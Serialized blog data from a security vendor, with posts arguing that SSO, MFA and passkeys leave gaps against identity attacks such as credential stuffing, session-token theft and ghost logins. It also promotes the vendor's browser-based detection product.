app-level too if you can, for good measure)",{"data":181458,"content":181459,"nodeType":1570},{},[181460],{"data":181461,"content":181462,"nodeType":866},{},[181463],{"data":181464,"marks":181465,"value":181466,"nodeType":865},{},[],"Configure the app to prevent local accounts being created (again, if possible)",{"data":181468,"content":181469,"nodeType":866},{},[181470],{"data":181471,"marks":181472,"value":181473,"nodeType":865},{},[],"Not only is this a sisyphean task with continually moving goalposts, but depending on which apps you use, and how they’ve been designed, it may not be possible to remediate every instance of ghost logins. For that reason, it’s important to also invest in your identity threat detection and response capabilities — for when, not if, an account takeover attempt occurs. ",{"data":181475,"content":181476,"nodeType":866},{},[181477,181481,181490],{"data":181478,"marks":181479,"value":181480,"nodeType":865},{},[],"Push helps organizations to defend against ghost logins and other identity threats with a defense-in-depth approach: Using a browser-based agent to generate visibility of all logins (not just via IdP logs) while also detecting, intercepting, and shutting down account takeover attempts via phishing, credential stuffing, and session hijacking. ",{"data":181482,"content":181484,"nodeType":889},{"uri":181483},"https://pushsecurity.com/",[181485],{"data":181486,"marks":181487,"value":181489,"nodeType":865},{},[181488],{"type":943},"Learn more here.",{"data":181491,"marks":181492,"value":21,"nodeType":865},{},[],{"data":181494,"content":181495,"nodeType":866},{},[181496,181500,181507],{"data":181497,"marks":181498,"value":181499,"nodeType":865},{},[],"And if you'd like to learn more about ghost logins and other identity attack techniques, ",{"data":181501,"content":181502,"nodeType":889},{"uri":134276},[181503],{"data":181504,"marks":181505,"value":181506,"nodeType":865},{},[],"check out the SaaS attack matrix on GitHub",{"data":181508,"marks":181509,"value":6719,"nodeType":865},{},[],{"data":181511,"content":181515,"nodeType":912},{"target":181512},{"sys":181513},{"id":181514,"type":909,"linkType":910},"1VMpMgZvx9hgps2OoxCTmF",[],{"data":181517,"content":181518,"nodeType":866},{},[181519],{"data":181520,"marks":181521,"value":21,"nodeType":865},{},[],"Ghost logins: When forgotten identities come back to haunt you","How ghost logins can be used by cyber attackers for account takeover and persistence.","2024-07-10T00:00:00.000Z","ghost-logins-when-forgotten-identities-come-back-to-haunt-you",{"items":181527},[181528,181530],{"sys":181529,"name":7796},{"id":7795},{"sys":181531,"name":342},{"id":4642},{"items":181533},[181534],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":181535},{"url":7804},"blog/what-the-rise-of-infostealers-says-about-identity-attacks",{"json":181538},{"data":181539,"content":181540,"nodeType":1382},{},[181541],{"data":181542,"content":181543,"nodeType":866},{},[181544],{"data":181545,"marks":181546,"value":181547,"nodeType":865},{},[],"Infostealers seem to have become an overnight celebrity, having been previously shrugged off by enterprises with bigger fish to fry. The reality is that infostealers haven’t necessarily changed – but the world that they inhabit and how stolen data is used has.  ",{"id":161956,"publishedAt":181549},"2026-08-12T11:55:07.366Z",{"items":181551},[181552,181554],{"sys":181553,"name":7796},{"id":7795},{"sys":181555,"name":342},{"id":4642},{"items":181557},[181558,181560,181562,181564,181566,181568,181570,181572,181574,181576,181578,181580,181582,181584,181586,181588,181590,181592,181594],{"sys":181559,"name":279,"slug":280,"tier":31},{"id":276},{"sys":181561,"name":413,"slug":414,"tier":31},{"id":410},{"sys":181563,"name":642,"slug":643,"tier":31},{"id":639},{"sys":181565,"name":342,"slug":343,"tier":31},{"id":339},{"sys":181567,"name":519,"slug":520,"tier":31},{"id":516},{"sys":181569,"name":422,"slug":423,"tier":45},{"id":419},{"sys":181571,"name":333,"slug":334,"tier":45},{"id":330},{"sys":181573,"name":404,"slug":405,"tier":45},{"id":401},{"sys":181575,"name":571,"slug":572,"tier":45},{"id":568},{"sys":181577,"name":395,"slug":396,"tier":45},{"id":392},{"sys":181579,"name":448,"slug":449,"tier":45},{"id":445},{"sys":181581,"name":377,"slug":378,"tier":45},{"id":374},{"sys":181583,"name":528,"slug":529,"tier":45},{"id":525},{"sys":181585,"name":440,"slug":441,"tier":45},{"id":437},{"sys":181587,"name":502,"slug":503,"tier":45},{"id":499},{"sys":181589,"name":457,"slug":458,"tier":45},{"id":454},{"sys":181591,"name":537,"slug":538,"tier":45},{"id":534},{"sys":181593,"name":633,"slug":634,"tier":45},{"id":630},{"sys":181595,"name":607,"slug":608,"tier":45},{"id":604},"boUmh78SvCFSf6ZZgGkEQDAnKYwTjYN1VqCF_IIHTHc",{"id":181598,"title":181599,"authorsCollection":181600,"content":181605,"extension":228,"faqItemsCollection":182990,"faqTitle":59,"featured":6,"hashTags":59,"meta":182992,"metaTitle":182993,"ogImage":59,"postType":1424,"publishedDate":182994,"relatedBlogPostsCollection":182995,"slug":187372,"stem":187373,"subtitle":59,"summary":187374,"synopsis":187392,"sys":187393,"tagsCollection":187396,"topicsCollection":187402,"__hash__":187448},"blog/blog/5-reasons-why-push-security-shouldnt-exist.json","5 reasons why Push Security shouldn’t exist",{"items":181601},[181602],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":181603,"profilePicture":181604},[30152],{"url":7804},{"json":181606,"links":182966},{"data":181607,"content":181608,"nodeType":1382},{},[181609,181629,181635,181642,181649,181670,181677,181680,181687,181694,181701,181708,181794,181801,181891,181899,181906,181913,181921,181924,181931,181938,181945,181974,182007,182035,182042,182049,182079,182086,182118,182125,182153,182160,182167,182194,182206,182213,182232,182262,182274,182277,182284,182304,182316,182334,182349,182356,182374,182404,182423,182430,182437,182455,182462,182470,182473,182480,182487,182524,182532,182539,182546,182553,182639,182663,182670,182677,182689,182708,182720,182723,182730,182737,182800,182818,182824,182827,182834,182863,182870,182877,182955,182960],{"data":181610,"content":181611,"nodeType":866},{},[181612,181616,181625],{"data":181613,"marks":181614,"value":181615,"nodeType":865},{},[],"If you caught ",{"data":181617,"content":181619,"nodeType":889},{"uri":181618},"https://cisoseries.com/securing-identities-in-the-cloud/",[181620],{"data":181621,"marks":181622,"value":181624,"nodeType":865},{},[181623],{"type":943},"our CEO Adam’s recent appearance on the Defense in Depth podcast",{"data":181626,"marks":181627,"value":181628,"nodeType":865},{},[]," you’ll have heard some top-tier banter between Geoff and David on the problem of identity security – and how, in Geoff’s words, “way too many people” think they’ve got it covered when it comes to identity attacks.",{"data":181630,"content":181634,"nodeType":912},{"target":181631},{"sys":181632},{"id":181633,"type":909,"linkType":910},"UcfFq2lOiMMJKaDfaNBqx",[],{"data":181636,"content":181637,"nodeType":866},{},[181638],{"data":181639,"marks":181640,"value":181641,"nodeType":865},{},[],"At Push, we’re constantly exploring the limits of controls against the latest threats. But naturally, security teams with hundreds of priorities can’t afford to dedicate the same amount of research time to this problem that we can. This means we come across a lot of common misconceptions about how controls like MFA, SSO and EDR perform against current identity attack techniques. ",{"data":181643,"content":181644,"nodeType":866},{},[181645],{"data":181646,"marks":181647,"value":181648,"nodeType":865},{},[],"These common misconceptions are severely impacting the ability of security teams to plan for, and defend against, identity-based attacks – giving attackers the window of opportunity they need to continue exploiting people and businesses. ",{"data":181650,"content":181651,"nodeType":866},{},[181652,181656,181661,181665],{"data":181653,"marks":181654,"value":181655,"nodeType":865},{},[],"So, we hope that this allows you a clearer perspective when building your identity security strategy, with a realistic view of what a particular control will give you – and what it won’t. ",{"data":181657,"marks":181658,"value":181660,"nodeType":865},{},[181659],{"type":926},"That isn’t to say you should discard any of these controls; they all have an important part to play! ",{"data":181662,"marks":181663,"value":181664,"nodeType":865},{},[],"But, it’s important to be aware of their limitations to be able to build a resilient security model, ",{"data":181666,"marks":181667,"value":181669,"nodeType":865},{},[181668],{"type":926},"with strategic defense in depth to compensate for known weaknesses. ",{"data":181671,"content":181672,"nodeType":866},{},[181673],{"data":181674,"marks":181675,"value":181676,"nodeType":865},{},[],"Without further ado, here are the top reasons why Push Security shouldn’t exist. ",{"data":181678,"content":181679,"nodeType":972},{},[],{"data":181681,"content":181682,"nodeType":981},{},[181683],{"data":181684,"marks":181685,"value":181686,"nodeType":865},{},[],"Reason 1: “Browser-based attacks aren’t a priority”",{"data":181688,"content":181689,"nodeType":866},{},[181690],{"data":181691,"marks":181692,"value":181693,"nodeType":865},{},[],"Particularly in the current economic climate, with many security teams feeling the squeeze, organizations often haven’t budgeted (mentally or financially) for a new kind of threat to factor into their modelling. ",{"data":181695,"content":181696,"nodeType":866},{},[181697],{"data":181698,"marks":181699,"value":181700,"nodeType":865},{},[],"We get it, now isn’t a great time to be tackling a new problem. Getting the budget to do the same as last year is difficult enough, never mind adding something new. ",{"data":181702,"content":181703,"nodeType":866},{},[181704],{"data":181705,"marks":181706,"value":181707,"nodeType":865},{},[],"But, there’s clear evidence that we're facing something a new kind of security problem. Modern attacks are consciously evading the network and endpoint, and are increasingly playing out entirely over the internet in the form of account takeover. ",{"data":181709,"content":181710,"nodeType":1616},{},[181711,181732,181752,181773],{"data":181712,"content":181713,"nodeType":1570},{},[181714],{"data":181715,"content":181716,"nodeType":866},{},[181717,181721,181728],{"data":181718,"marks":181719,"value":181720,"nodeType":865},{},[],"Stolen creds are the #1 breach vector in 79% of web app attacks (",{"data":181722,"content":181723,"nodeType":889},{"uri":4147},[181724],{"data":181725,"marks":181726,"value":53721,"nodeType":865},{},[181727],{"type":943},{"data":181729,"marks":181730,"value":181731,"nodeType":865},{},[],").  ",{"data":181733,"content":181734,"nodeType":1570},{},[181735],{"data":181736,"content":181737,"nodeType":866},{},[181738,181742,181749],{"data":181739,"marks":181740,"value":181741,"nodeType":865},{},[],"147,000 token replay attacks in 2023, 111% increase year-over-year (",{"data":181743,"content":181744,"nodeType":889},{"uri":162106},[181745],{"data":181746,"marks":181747,"value":8641,"nodeType":865},{},[181748],{"type":943},{"data":181750,"marks":181751,"value":40358,"nodeType":865},{},[],{"data":181753,"content":181754,"nodeType":1570},{},[181755],{"data":181756,"content":181757,"nodeType":866},{},[181758,181762,181770],{"data":181759,"marks":181760,"value":181761,"nodeType":865},{},[],"80% of attacks involve identity and compromised credentials (",{"data":181763,"content":181765,"nodeType":889},{"uri":181764},"https://www.crowdstrike.com/blog/relentless-threat-activity-puts-identities-in-the-crosshairs/",[181766],{"data":181767,"marks":181768,"value":79494,"nodeType":865},{},[181769],{"type":943},{"data":181771,"marks":181772,"value":181731,"nodeType":865},{},[],{"data":181774,"content":181775,"nodeType":1570},{},[181776],{"data":181777,"content":181778,"nodeType":866},{},[181779,181783,181791],{"data":181780,"marks":181781,"value":181782,"nodeType":865},{},[],"4,000 password-based attacks per second observed (",{"data":181784,"content":181786,"nodeType":889},{"uri":181785},"https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2023",[181787],{"data":181788,"marks":181789,"value":8641,"nodeType":865},{},[181790],{"type":943},{"data":181792,"marks":181793,"value":46245,"nodeType":865},{},[],{"data":181795,"content":181796,"nodeType":866},{},[181797],{"data":181798,"marks":181799,"value":181800,"nodeType":865},{},[],"It’s also telling that the cyber crime ecosystem itself seems to be leaning toward the theft, sale, and use of stolen credentials (not just emails and passwords, but session tokens too). ",{"data":181802,"content":181803,"nodeType":1616},{},[181804,181825,181847,181869],{"data":181805,"content":181806,"nodeType":1570},{},[181807],{"data":181808,"content":181809,"nodeType":866},{},[181810,181813,181821],{"data":181811,"marks":181812,"value":21,"nodeType":865},{},[],{"data":181814,"content":181815,"nodeType":889},{"uri":4147},[181816],{"data":181817,"marks":181818,"value":181820,"nodeType":865},{},[181819],{"type":943},"According to the 2024 DBIR",{"data":181822,"marks":181823,"value":181824,"nodeType":865},{},[],", more than 1000 credentials appear on criminal forums and marketplaces every day, with the majority (65%) appearing less than a day after first being discovered. ",{"data":181826,"content":181827,"nodeType":1570},{},[181828],{"data":181829,"content":181830,"nodeType":866},{},[181831,181835,181843],{"data":181832,"marks":181833,"value":181834,"nodeType":865},{},[],"In June, ",{"data":181836,"content":181837,"nodeType":889},{"uri":162474},[181838],{"data":181839,"marks":181840,"value":181842,"nodeType":865},{},[181841],{"type":943},"Troy Hunt at Have I Been Pwned (HIBP) wrote about the impact of channels like Telegram",{"data":181844,"marks":181845,"value":181846,"nodeType":865},{},[]," and the sale of combolists (username, password, login portal URL), after being sent 122GB of data scraped out of thousands of Telegram channels, containing 361M unique email addresses (of which 151M had never been seen in HIBP before). ",{"data":181848,"content":181849,"nodeType":1570},{},[181850],{"data":181851,"content":181852,"nodeType":866},{},[181853,181857,181866],{"data":181854,"marks":181855,"value":181856,"nodeType":865},{},[],"In July, ",{"data":181858,"content":181860,"nodeType":889},{"uri":181859},"https://cybernews.com/security/rockyou2024-largest-password-compilation-leak/",[181861],{"data":181862,"marks":181863,"value":181865,"nodeType":865},{},[181864],{"type":943},"10 billion passwords were leaked in the RockYou2024 compilation",{"data":181867,"marks":181868,"value":14251,"nodeType":865},{},[],{"data":181870,"content":181871,"nodeType":1570},{},[181872],{"data":181873,"content":181874,"nodeType":866},{},[181875,181879,181887],{"data":181876,"marks":181877,"value":181878,"nodeType":865},{},[],"And ultimately, ",{"data":181880,"content":181881,"nodeType":889},{"uri":127868},[181882],{"data":181883,"marks":181884,"value":181886,"nodeType":865},{},[181885],{"type":943},"high-profile breaches",{"data":181888,"marks":181889,"value":181890,"nodeType":865},{},[]," of Snowflake customers, Microsoft, Okta, and others reinforce the threat behind the numbers, all of which are the result of identity attacks. ",{"data":181892,"content":181893,"nodeType":866},{},[181894],{"data":181895,"marks":181896,"value":181898,"nodeType":865},{},[181897],{"type":926},"So, if a business uses any third-party provided web applications or services, then its workforce identities are the lowest-hanging fruit for attackers to pick, and the risk of account takeover should be high up on the risk register. ",{"data":181900,"content":181901,"nodeType":866},{},[181902],{"data":181903,"marks":181904,"value":181905,"nodeType":865},{},[],"Yes, it’s tough to redo budgets on the fly or rip up a five year plan. But, asymmetrical cyber TTPs have always sought to undermine the best laid plans of CISOs – attackers usually look in the places that defenders aren't. ",{"data":181907,"content":181908,"nodeType":866},{},[181909],{"data":181910,"marks":181911,"value":181912,"nodeType":865},{},[],"When looking at the evidence, is securing the identity attack surface really a lower priority than adding a CASB, CSPM, or shiny new AI tool? Even when we look at historical recurring spend on things like EDR or vulnerability management, it’s arguable that the risk of identity attacks has overtaken software-based exploits for many organizations whose traditional networks are shrinking, while their cloud app estate grows. ",{"data":181914,"content":181915,"nodeType":866},{},[181916],{"data":181917,"marks":181918,"value":181920,"nodeType":865},{},[181919],{"type":926},"It’s important to consider what’s right for your business, but the evidence shows us that securing the identity attack surface promises real risk reduction in the face of a genuine threat. ",{"data":181922,"content":181923,"nodeType":972},{},[],{"data":181925,"content":181926,"nodeType":981},{},[181927],{"data":181928,"marks":181929,"value":181930,"nodeType":865},{},[],"Reason 2: “Our business apps are all behind SSO”",{"data":181932,"content":181933,"nodeType":866},{},[181934],{"data":181935,"marks":181936,"value":181937,"nodeType":865},{},[],"SSO is often seen as a utopia where each employee has a single, secure digital identity that is used to access all of their work applications. When businesses are using SSO, we usually hear:",{"data":181939,"content":181940,"nodeType":1317},{},[181941],{"data":181942,"marks":181943,"value":181944,"nodeType":865},{},[],"“Everything is behind SSO, there are no apps outside of it.”",{"data":181946,"content":181947,"nodeType":866},{},[181948,181952,181961,181965,181970],{"data":181949,"marks":181950,"value":181951,"nodeType":865},{},[],"Unfortunately, organizations are always using more apps than they realize. The impact of ",{"data":181953,"content":181955,"nodeType":889},{"uri":181954},"https://productled.com/blog/product-led-growth-definition",[181956],{"data":181957,"marks":181958,"value":181960,"nodeType":865},{},[181959],{"type":943},"product-led growth",{"data":181962,"marks":181963,"value":181964,"nodeType":865},{},[]," on the self adoption of cloud services is well documented, and we see that ",{"data":181966,"marks":181967,"value":181969,"nodeType":865},{},[181968],{"type":926},"even SMEs typically have 100+ apps in their estate",{"data":181971,"marks":181972,"value":181973,"nodeType":865},{},[],", and the number of apps per business continues to grow year on year. ",{"data":181975,"content":181976,"nodeType":866},{},[181977,181981,181986,181990,181994,181998,182003],{"data":181978,"marks":181979,"value":181980,"nodeType":865},{},[],"So, while every ",{"data":181982,"marks":181983,"value":181985,"nodeType":865},{},[181984],{"type":926},"known ",{"data":181987,"marks":181988,"value":181989,"nodeType":865},{},[],"app",{"data":181991,"marks":181992,"value":2688,"nodeType":865},{},[181993],{"type":926},{"data":181995,"marks":181996,"value":181997,"nodeType":865},{},[],"might be behind SSO, this still leaves tens or hundreds of ",{"data":181999,"marks":182000,"value":182002,"nodeType":865},{},[182001],{"type":926},"unknown",{"data":182004,"marks":182005,"value":182006,"nodeType":865},{},[]," apps, with thousands of associated identities. ",{"data":182008,"content":182009,"nodeType":866},{},[182010,182014,182019,182023,182031],{"data":182011,"marks":182012,"value":182013,"nodeType":865},{},[],"But even if you did know about every app, the fact of the matter is ",{"data":182015,"marks":182016,"value":182018,"nodeType":865},{},[182017],{"type":926},"that fewer than 1 in 3 apps actually support SAML SSO",{"data":182020,"marks":182021,"value":182022,"nodeType":865},{},[],", and many of those ",{"data":182024,"content":182025,"nodeType":889},{"uri":135994},[182026],{"data":182027,"marks":182028,"value":182030,"nodeType":865},{},[182029],{"type":943},"only at the premium tier",{"data":182032,"marks":182033,"value":182034,"nodeType":865},{},[],". Our data shows that the proportion of apps actually behind SSO is even lower, at 1 in 5. So getting everything behind SSO just isn’t a realistic goal for any organization. ",{"data":182036,"content":182037,"nodeType":1317},{},[182038],{"data":182039,"marks":182040,"value":182041,"nodeType":865},{},[],"“Everything important is behind SSO, and the apps that aren’t don’t pose a risk.” ",{"data":182043,"content":182044,"nodeType":866},{},[182045],{"data":182046,"marks":182047,"value":182048,"nodeType":865},{},[],"There’s often a view that if it wasn’t centrally procured, IT wasn’t involved, and it’s not behind SSO, then it’s just not a concern. But apps can have complex integrations and permissions that increase the potential blast radius of an app compromise. ",{"data":182050,"content":182051,"nodeType":866},{},[182052,182056,182064,182068,182075],{"data":182053,"marks":182054,"value":182055,"nodeType":865},{},[],"We’ve published ",{"data":182057,"content":182058,"nodeType":889},{"uri":13171},[182059],{"data":182060,"marks":182061,"value":182063,"nodeType":865},{},[182062],{"type":943},"extensive research on SaaS-native attack techniques",{"data":182065,"marks":182066,"value":182067,"nodeType":865},{},[]," and documented many of the scenarios in which attackers can expand from hijacking a single SaaS app with a small number of users into a larger-scale compromise, for example through ",{"data":182069,"content":182070,"nodeType":889},{"uri":105882},[182071],{"data":182072,"marks":182073,"value":105875,"nodeType":865},{},[182074],{"type":943},{"data":182076,"marks":182077,"value":182078,"nodeType":865},{},[],": Modifying SAML for a compromised app to redirect users to a malicious domain during the authentication process that proxies a legitimate authentication service (e.g. Google, Okta or Microsoft) – effectively acting as a watering hole for further credential harvesting. ",{"data":182080,"content":182081,"nodeType":866},{},[182082],{"data":182083,"marks":182084,"value":182085,"nodeType":865},{},[],"Also, the value of an app is not necessarily tied to the number of users it has in the business. A sales and marketing app can contain huge amounts of sensitive data, as can developer apps – just look at Snowflake! It only takes a single account to be created, a single integration to be set up, to result in a major data breach down the line. ",{"data":182087,"content":182088,"nodeType":866},{},[182089,182093,182102,182105,182114],{"data":182090,"marks":182091,"value":182092,"nodeType":865},{},[],"You can check out our ",{"data":182094,"content":182096,"nodeType":889},{"uri":182095},"https://pushsecurity.com/blog/",[182097],{"data":182098,"marks":182099,"value":182101,"nodeType":865},{},[182100],{"type":943},"blog page",{"data":182103,"marks":182104,"value":53880,"nodeType":865},{},[],{"data":182106,"content":182108,"nodeType":889},{"uri":182107},"https://www.youtube.com/watch?v=xZIQd_0v9sE&t=12s",[182109],{"data":182110,"marks":182111,"value":182113,"nodeType":865},{},[182112],{"type":943},"watch one of our videos",{"data":182115,"marks":182116,"value":182117,"nodeType":865},{},[]," for more information.   ",{"data":182119,"content":182120,"nodeType":1317},{},[182121],{"data":182122,"marks":182123,"value":182124,"nodeType":865},{},[],"Ghost logins: A nightmare for SSO, dreamy for attackers",{"data":182126,"content":182127,"nodeType":866},{},[182128,182132,182137,182141,182149],{"data":182129,"marks":182130,"value":182131,"nodeType":865},{},[],"You might already be feeling a bit deflated that SSO isn’t going to give you everything you wanted, and we’re sorry to be the bearer of bad news. Unfortunately, ",{"data":182133,"marks":182134,"value":182136,"nodeType":865},{},[182135],{"type":926},"even if you are using SSO, additional login methods can still exist alongside SSO",{"data":182138,"marks":182139,"value":182140,"nodeType":865},{},[],". We call these ",{"data":182142,"content":182143,"nodeType":889},{"uri":53259},[182144],{"data":182145,"marks":182146,"value":6715,"nodeType":865},{},[182147,182148],{"type":943},{"type":926},{"data":182150,"marks":182151,"value":14251,"nodeType":865},{},[182152],{"type":926},{"data":182154,"content":182155,"nodeType":866},{},[182156],{"data":182157,"marks":182158,"value":182159,"nodeType":865},{},[],"Ghost logins are effectively any alternative login method. In addition to SSO, you could have a local password, a social login (e.g., login with Google, Facebook, etc.), backup emails, or API-based login methods. ",{"data":182161,"content":182162,"nodeType":866},{},[182163],{"data":182164,"marks":182165,"value":182166,"nodeType":865},{},[],"Multiple methods are often enabled by default and need to be explicitly disabled at the app level. Further, migrating an existing app to SSO doesn’t automatically remove local accounts, but effectively adds an SSO layer on top. ",{"data":182168,"content":182169,"nodeType":866},{},[182170,182174,182179,182183,182191],{"data":182171,"marks":182172,"value":182173,"nodeType":865},{},[],"The final problem here is that because MFA is applied separately at the app level and SSO level, ",{"data":182175,"marks":182176,"value":182178,"nodeType":865},{},[182177],{"type":926},"you can have local logins without MFA, at the same time as SSO logins with MFA — that can be used concurrently.",{"data":182180,"marks":182181,"value":182182,"nodeType":865},{},[]," This was acutely felt during the recent Snowflake breaches, ",{"data":182184,"content":182185,"nodeType":889},{"uri":169364},[182186],{"data":182187,"marks":182188,"value":182190,"nodeType":865},{},[182189],{"type":943},"where in-app identification and disabling of non-SSO logins proved to be particularly error-prone",{"data":182192,"marks":182193,"value":113401,"nodeType":865},{},[],{"data":182195,"content":182196,"nodeType":866},{},[182197,182201],{"data":182198,"marks":182199,"value":182200,"nodeType":865},{},[],"The result here is that credential stuffing attacks can still prove successful against your SSO-joined apps if local logins exist, and MFA hasn’t been specifically set at the app level. ",{"data":182202,"marks":182203,"value":182205,"nodeType":865},{},[182204],{"type":926},"And unless you’ve specifically disabled them and unset every non-SSO login for every app, they probably do. ",{"data":182207,"content":182208,"nodeType":1317},{},[182209],{"data":182210,"marks":182211,"value":182212,"nodeType":865},{},[],"The verdict: SSO is great, but it's no silver bullet",{"data":182214,"content":182215,"nodeType":866},{},[182216,182220,182228],{"data":182217,"marks":182218,"value":182219,"nodeType":865},{},[],"While SSO is invariably a beneficial security control, ",{"data":182221,"content":182223,"nodeType":889},{"uri":182222},"https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/#id-how-can-ghost-logins-be-abused-by-attackers_id-ghost-logins-for-persistence-and-defense-evasion",[182224],{"data":182225,"marks":182226,"value":182227,"nodeType":865},{},[],"attackers can also naturally exploit it to gain access to a large number of downstream applications",{"data":182229,"marks":182230,"value":182231,"nodeType":865},{},[],". If you compromise an IdP account like Okta, you can then access any connected app, often without requiring any further authentication.",{"data":182233,"content":182234,"nodeType":866},{},[182235,182239,182247,182250,182259],{"data":182236,"marks":182237,"value":182238,"nodeType":865},{},[],"We’ve seen this recently, with an ",{"data":182240,"content":182241,"nodeType":889},{"uri":158490},[182242],{"data":182243,"marks":182244,"value":182246,"nodeType":865},{},[182245],{"type":943},"unprecedented spike in credential stuffing attacks reported by Okta",{"data":182248,"marks":182249,"value":142429,"nodeType":865},{},[],{"data":182251,"content":182253,"nodeType":889},{"uri":182252},"https://www.bleepingcomputer.com/news/security/okta-warns-of-credential-stuffing-attacks-targeting-its-cors-feature/",[182254],{"data":182255,"marks":182256,"value":182258,"nodeType":865},{},[182257],{"type":943},"attacks looking to exploit Okta’s CORS feature",{"data":182260,"marks":182261,"value":14251,"nodeType":865},{},[],{"data":182263,"content":182264,"nodeType":866},{},[182265,182270],{"data":182266,"marks":182267,"value":182269,"nodeType":865},{},[182268],{"type":926},"Ultimately, the promised land of a 1:1 employee to identity ratio just isn’t realistic. ",{"data":182271,"marks":182272,"value":182273,"nodeType":865},{},[],"So while SSO is a big part of the solution to identity attacks, it’s not a silver bullet.   ",{"data":182275,"content":182276,"nodeType":972},{},[],{"data":182278,"content":182279,"nodeType":981},{},[182280],{"data":182281,"marks":182282,"value":182283,"nodeType":865},{},[],"Reason 3: “We’ve got MFA deployed everywhere”",{"data":182285,"content":182286,"nodeType":866},{},[182287,182291,182300],{"data":182288,"marks":182289,"value":182290,"nodeType":865},{},[],"Microsoft famously stated that ",{"data":182292,"content":182294,"nodeType":889},{"uri":182293},"https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2023#:~:text=Outlier%20attacks%20make%20up%20just,of%20compromise%20by%2099.2%20percent.",[182295],{"data":182296,"marks":182297,"value":182299,"nodeType":865},{},[182298],{"type":943},"MFA reduces the risk of compromise by 99.2%",{"data":182301,"marks":182302,"value":182303,"nodeType":865},{},[],". But this doesn’t mean that it stops 99% of attacks. Or, that it should make up 99% of your defense. ",{"data":182305,"content":182306,"nodeType":866},{},[182307,182311],{"data":182308,"marks":182309,"value":182310,"nodeType":865},{},[],"MFA unarguably raises the bar for attackers, even if that bar is still pretty low. Naturally, accounts without MFA are an easier target. ",{"data":182312,"marks":182313,"value":182315,"nodeType":865},{},[182314],{"type":926},"But the problem is that MFA isn’t an enterprise-wide castle wall. It’s more like a row of hurdles with gaps in-between. ",{"data":182317,"content":182318,"nodeType":866},{},[182319,182323,182331],{"data":182320,"marks":182321,"value":182322,"nodeType":865},{},[],"MFA is usually handled separately at the SSO level and app level. For apps that are self-adopted by end users, they can't be relied on to add in a security control that will introduce friction to their user experience. Building on the aforementioned ghost logins, even if MFA is adopted at the SSO level, local logins can exist without MFA unless also applied at the app level. ",{"data":182324,"content":182325,"nodeType":889},{"uri":169364},[182326],{"data":182327,"marks":182328,"value":182330,"nodeType":865},{},[182329],{"type":943},"The recent Snowflake breach is a perfect example of this problem",{"data":182332,"marks":182333,"value":14251,"nodeType":865},{},[],{"data":182335,"content":182336,"nodeType":866},{},[182337,182341,182346],{"data":182338,"marks":182339,"value":182340,"nodeType":865},{},[],"Because of this, ",{"data":182342,"marks":182343,"value":182345,"nodeType":865},{},[182344],{"type":926},"we find that only around 1 in 3 identities actually have MFA enabled",{"data":182347,"marks":182348,"value":14251,"nodeType":865},{},[],{"data":182350,"content":182351,"nodeType":1317},{},[182352],{"data":182353,"marks":182354,"value":182355,"nodeType":865},{},[],"\"MFA protects us against phishing attacks\"",{"data":182357,"content":182358,"nodeType":866},{},[182359,182363,182370],{"data":182360,"marks":182361,"value":182362,"nodeType":865},{},[],"Even where MFA is deployed, most MFA methods are proven to be phishable or otherwise bypassable. SMS and push-based MFA are susceptible to well known bypasses including SIM swapping and ",{"data":182364,"content":182365,"nodeType":889},{"uri":53203},[182366],{"data":182367,"marks":182368,"value":53208,"nodeType":865},{},[182369],{"type":943},{"data":182371,"marks":182372,"value":182373,"nodeType":865},{},[]," attacks. TOTP is a little better, but still vulnerable. ",{"data":182375,"content":182376,"nodeType":866},{},[182377,182381,182389,182393,182401],{"data":182378,"marks":182379,"value":182380,"nodeType":865},{},[],"Many attacks are simply cutting out the middleman and focusing on ",{"data":182382,"content":182383,"nodeType":889},{"uri":147580},[182384],{"data":182385,"marks":182386,"value":182388,"nodeType":865},{},[182387],{"type":943},"using stolen session tokens",{"data":182390,"marks":182391,"value":182392,"nodeType":865},{},[]," to bypass MFA. The most common method for this is via infostealers, which typically scrape all credentials (e.g. usernames, passwords, login pages, session tokens) as well as other information stored in the browser of an infected device. ",{"data":182394,"content":182395,"nodeType":889},{"uri":62047},[182396],{"data":182397,"marks":182398,"value":182400,"nodeType":865},{},[182399],{"type":943},"Infostealers played a major role in the recent Snowflake breach",{"data":182402,"marks":182403,"value":14251,"nodeType":865},{},[],{"data":182405,"content":182406,"nodeType":866},{},[182407,182411,182419],{"data":182408,"marks":182409,"value":182410,"nodeType":865},{},[],"Additionally, ",{"data":182412,"content":182413,"nodeType":889},{"uri":54386},[182414],{"data":182415,"marks":182416,"value":182418,"nodeType":865},{},[182417],{"type":943},"modern phishing techniques like adversary-in-the-middle (AitM) and browser-in-the-middle (BitM)",{"data":182420,"marks":182421,"value":182422,"nodeType":865},{},[]," see the attacker steal the live session and associated tokens from the victim, with the victim prompted to complete the MFA process as part of the attack. ",{"data":182424,"content":182425,"nodeType":1317},{},[182426],{"data":182427,"marks":182428,"value":182429,"nodeType":865},{},[],"“We’re using passkeys”",{"data":182431,"content":182432,"nodeType":866},{},[182433],{"data":182434,"marks":182435,"value":182436,"nodeType":865},{},[],"Great! Passkey users are in a better position than 99% of other businesses. Passkeys are widely accepted to be phishing resistant – at least for now, although as more businesses use them, new ways of getting around them will no doubt be discovered by attackers. ",{"data":182438,"content":182439,"nodeType":866},{},[182440,182444,182452],{"data":182441,"marks":182442,"value":182443,"nodeType":865},{},[],"But, MFA downgrade attacks are possible. There are often backup MFA methods set that can be selected by canceling the authentication prompt and selecting a different method. Even when these aren’t selectable, ",{"data":182445,"content":182446,"nodeType":889},{"uri":95823},[182447],{"data":182448,"marks":182449,"value":182451,"nodeType":865},{},[182450],{"type":943},"researchers have demonstrated ways of downgrading authentication to use a phishable method",{"data":182453,"marks":182454,"value":14251,"nodeType":865},{},[],{"data":182456,"content":182457,"nodeType":866},{},[182458],{"data":182459,"marks":182460,"value":182461,"nodeType":865},{},[],"Most apps are designed primarily for user flexibility, not security. And backup methods have a legitimate use-case – what if the authenticator device is lost or stops working? If passkeys are the only authentication method, you just got locked out of all of your accounts. But at least no hackers can access them either, right?",{"data":182463,"content":182464,"nodeType":866},{},[182465],{"data":182466,"marks":182467,"value":182469,"nodeType":865},{},[182468],{"type":926},"Like SSO, unless backup MFA methods are disabled for all identities and apps, and all users have enabled MFA across all their accounts and login methods, this isn’t a silver bullet either.  